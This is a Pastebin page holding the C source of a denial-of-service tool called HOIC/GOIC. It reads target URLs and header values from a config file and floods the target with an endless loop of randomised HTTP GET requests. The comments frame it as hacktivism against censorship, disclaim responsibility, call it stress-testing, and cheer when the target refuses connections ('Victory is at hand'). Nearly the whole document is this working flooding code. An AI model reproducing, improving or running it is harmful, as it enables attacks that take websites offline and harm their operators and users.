Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- /* HOIC - High orbital ion cannon
- *
- * The quick-and-dirty howto:
- * Compile this file. It's all self-contained. You'll need a C compiler.
- * Linux/Mac OS X:
- * In a terminal:
- * gcc -o hoic hoic.c
- * ./hoic file.hoic
- *
- * If you have windows, you can probably just use one of the other tools,
- * or use something like Cygwin to make this run.
- *
- * Beware of pre-compiled binaries, or indeed of compiling this and
- * distributing it. It's very likely your machine name and/or
- * username will end up in the binary somewhere.
- * Know what you are doing if you're gonna do it.
- *
- * .hoic files:
- * Valid example lines:
- * # (comments)
- * URL: http://www.example.org:80/foo/bar
- * User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
- * Charset: ISO-8859-1
- * Accept: text/html
- *
- * You need at least one of each of the above lines for it to function.
- * URLs must always include "http://" and a port. No HTTPS yet, sorry.
- *
- ****************************************************************************
- * Remember to act in a way that is above reproach. The goal is to
- * make a point about internet freedom and censorship, and push back
- * against the forces that wish to undermine that. There's no sport
- * in fucking up peoples' lives just for the hell of it.
- *
- * The author of this program disavows and disclaims any knowledge of
- * the actions of individual users. If you use this program to do
- * something illegal and you get busted, don't come crying to me.
- * As far as I'm concerned, I've distributed to you a piece of example
- * code that could be used for stress-testing systems that you
- * have legitimate and legal access to. What you choose to do with it
- * is entirely your business.
- *
- * This code is released into the public domain.
- *
- * -- Anonymous
- */
- #include <stdio.h>
- #include <stdlib.h>
- #include <sys/types.h>
- #include <sys/socket.h>
- #include <netinet/in.h>
- #include <netdb.h>
- #include <stdarg.h>
- #include <string.h>
- /* If you're writing custom payloads, these control what
- happens to the connection after you send your request */
- #define CLOSENOW 0
- #define READ 1
- #define REPEAT 2
- #define SOCKET_BUF_SIZE 2048
- typedef struct list_t {
- char *data;
- struct list_t *next;
- } list_t;
- list_t *urls;
- int numUrls = 0;
- list_t *userAgents;
- int numUserAgents = 0;
- list_t *acceptTypes;
- int numAcceptTypes = 0;
- list_t *charsets;
- int numCharsets = 0;
- int socket_printf(int sockfd, char* fmt, ...)
- {
- int retval=0;
- va_list ap;
- char *str = malloc(SOCKET_BUF_SIZE);
- va_start(ap, fmt);
- retval = vsprintf(str, fmt, ap);
- va_end(ap);
- write(sockfd, str, strlen(str));
- free(str);
- return retval;
- }
- /* Create a random delay in milliseconds between lower and upper. */
- void randomDelay (int lowerBound, int upperBound) {
- int r = lowerBound + (rand()/(float)RAND_MAX) * (upperBound - lowerBound);
- usleep(1000 * r);
- }
- void addUrl (char *data) {
- list_t *el = (list_t *)malloc(sizeof(list_t));
- list_t *head = urls;
- numUrls++;
- el->data = strdup(data);
- el->next = NULL;
- if(urls == NULL) {
- urls = el;
- return;
- }
- while(head->next != NULL) {
- head = head->next;
- }
- head->next = el;
- }
- void addUserAgent (char *data) {
- list_t *el = (list_t *)malloc(sizeof(list_t));
- list_t *head = userAgents;
- el->data = strdup(data);
- el->next = NULL;
- numUserAgents++;
- if(userAgents == NULL) {
- userAgents = el;
- return;
- }
- while(head->next != NULL) {
- head = head->next;
- }
- head->next = el;
- }
- void addAcceptType (char *data) {
- list_t *el = (list_t *)malloc(sizeof(list_t));
- list_t *head = acceptTypes;
- el->data = strdup(data);
- el->next = NULL;
- numAcceptTypes++;
- if(acceptTypes == NULL) {
- acceptTypes = el;
- return;
- }
- while(head->next != NULL) {
- head = head->next;
- }
- head->next = el;
- }
- void addCharset (char *data) {
- list_t *el = (list_t *)malloc(sizeof(list_t));
- list_t *head = charsets;
- printf("Charset: %s\n", data);
- el->data = strdup(data);
- el->next = NULL;
- numCharsets++;
- if(charsets == NULL) {
- charsets = el;
- return;
- }
- while(head->next != NULL) {
- head = head->next;
- }
- head->next = el;
- }
- char *listGet (list_t *head, int n) {
- if(head == NULL) {
- fprintf(stderr, "listGet failed (%d)!\n", n);
- exit(1);
- }
- if (n == 0) return head->data;
- return listGet (head->next, n-1);
- }
- char *randomUrl (void) {
- int sel = (rand()/(float)RAND_MAX) * numUrls;
- return listGet(urls,sel);
- }
- char *randomUserAgent (void) {
- int sel = (rand()/(float)RAND_MAX) * numUserAgents;
- return listGet(userAgents,sel);
- }
- char *randomAcceptString (void) {
- int sel = (rand()/(float)RAND_MAX) * numAcceptTypes;
- return listGet(acceptTypes,sel);
- }
- char *randomCharset (void) {
- int sel = (rand()/(float)RAND_MAX) * numCharsets;
- return listGet(charsets,sel);
- }
- int randomKeepAlive (void) {
- return 30 + (((rand()/(float)RAND_MAX) * 5) * 15);
- }
- /* Generate a plausible-looking HTTP request.
- This will generate everything before the final \r\n,
- to allow the payload() function to add headers.
- call finish_http_request() after this
- to generate the rest.
- */
- void send_http_request (int sockfd, char *host, char *uri) {
- socket_printf(sockfd, "GET /%s HTTP/1.1\r\n", uri);
- socket_printf(sockfd, "Host: %s\r\n", host);
- socket_printf(sockfd, "User-Agent: %s\r\n", randomUserAgent());
- socket_printf(sockfd, "Accept: %s,%s,%s;q=0.9,*/*;q=0.8\r\n",
- randomAcceptString(),
- randomAcceptString(),
- randomAcceptString());
- socket_printf(sockfd, "Keep-Alive: %d\r\n", randomKeepAlive());
- socket_printf(sockfd, "Cache-Control: no-cache\r\n");
- socket_printf(sockfd, "Accept-Charset: %s,%s,;q=0.7,*;q=0.7\r\n",
- randomCharset(), randomCharset());
- }
- void finish_http_request (int sockfd) {
- socket_printf(sockfd, "\r\n");
- }
- /*
- // CLOSENOW if the socket should be closed immediately.
- // READ read back the socket data and then close.
- // REPEAT if we should keep the socket open and make another req.
- */
- int payload (int sockfd, char *host, char *uri) {
- send_http_request (sockfd, host, uri);
- finish_http_request (sockfd);
- free(host);
- free(uri);
- return CLOSENOW;
- }
- int main(int argc, char *argv[]) {
- unsigned int requests, payloads;
- int sockfd, portno, n, resolve, reconnect;
- struct sockaddr_in serv_addr;
- struct hostent *server;
- char buffer[1024];
- printf("GEOSYNCRONOUS ORBITAL ION CANNON (GOIC).\n");
- if (argc < 2) {
- fprintf(stderr,
- "Usage: %s <file.goic>\n",
- argv[0]);
- exit(1);
- }
- FILE *fp = fopen(argv[1], "r");
- char line[1024];
- if(fp == NULL) {
- fprintf(stderr, "Error opening file '%s'\n", argv[1]);
- exit(1);
- }
- while (fgets(line, 1024, fp) != NULL) {
- if(line[0] == '#') continue;
- line[strlen(line)-1] = '\0';
- if(0 == strncmp(line, "URL: ", 5))
- addUrl(strdup(line+5));
- else if(0 == strncmp(line, "UserAgent: ", 11))
- addUserAgent(strdup(line+11));
- else if(0 == strncmp(line, "Accept: ", 8))
- addAcceptType(strdup(line+8));
- else if(0 == strncmp(line, "Charset: ", 9))
- addCharset(strdup(line+9));
- else if(line[0] == '\r' || line[0] == '\n') continue;
- }
- /* Seed the random number generator */
- srand(time(0));
- resolve = 1;
- reconnect = 1;
- requests = 0;
- payloads = 0;
- while(1) {
- char *url = randomUrl();
- char host[255];
- char uri[255];
- sscanf(url, "http://%254[^:]:%99d/%254[^\n]", host, &portno, uri);
- if((payloads % 100) == 0) {
- printf(" * Progress report: ");
- printf("%u connection attempts / %u payloads delivered.\n",
- requests,
- payloads);
- }
- if(reconnect) {
- sockfd = socket(AF_INET, SOCK_STREAM, 0);
- requests++;
- }
- if (sockfd < 0) {
- fprintf(stderr, "Error creating socket. We'll wait and try again.\n");
- randomDelay(5000,20000);
- reconnect = 1;
- continue;
- }
- if(resolve) {
- printf("Resolving host: %s\n", host);
- server = gethostbyname(host);
- if (server == NULL) {
- fprintf(stderr,"Error: Could not resolve host: %s\n", host);
- randomDelay(500,5000);
- continue;
- }
- bzero((char *) &serv_addr, sizeof(serv_addr));
- serv_addr.sin_family = AF_INET;
- bcopy((char *)server->h_addr,
- (char *)&serv_addr.sin_addr.s_addr,
- server->h_length);
- serv_addr.sin_port = htons(portno);
- resolve = 0;
- }
- if (reconnect && connect(sockfd,&serv_addr,sizeof(serv_addr)) < 0) {
- resolve = 1;
- reconnect = 1;
- fprintf(stderr,
- "Host appears to be refusing connections! Victory is at hand!!1111one\n");
- randomDelay(50,1000);
- continue;
- }
- n = payload(sockfd, strdup(host), strdup(uri));
- payloads++;
- if(n == CLOSENOW) {
- close(sockfd);
- reconnect = 1;
- } else if (n == READ) {
- read(sockfd,buffer,1024);
- randomDelay(50,1000);
- close(sockfd);
- reconnect = 1;
- } else {
- if(read(sockfd,buffer,1024)) {
- reconnect = 0;
- resolve = 0;
- } else {
- reconnect = 1;
- resolve = 1;
- }
- }
- }
- return 0;
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement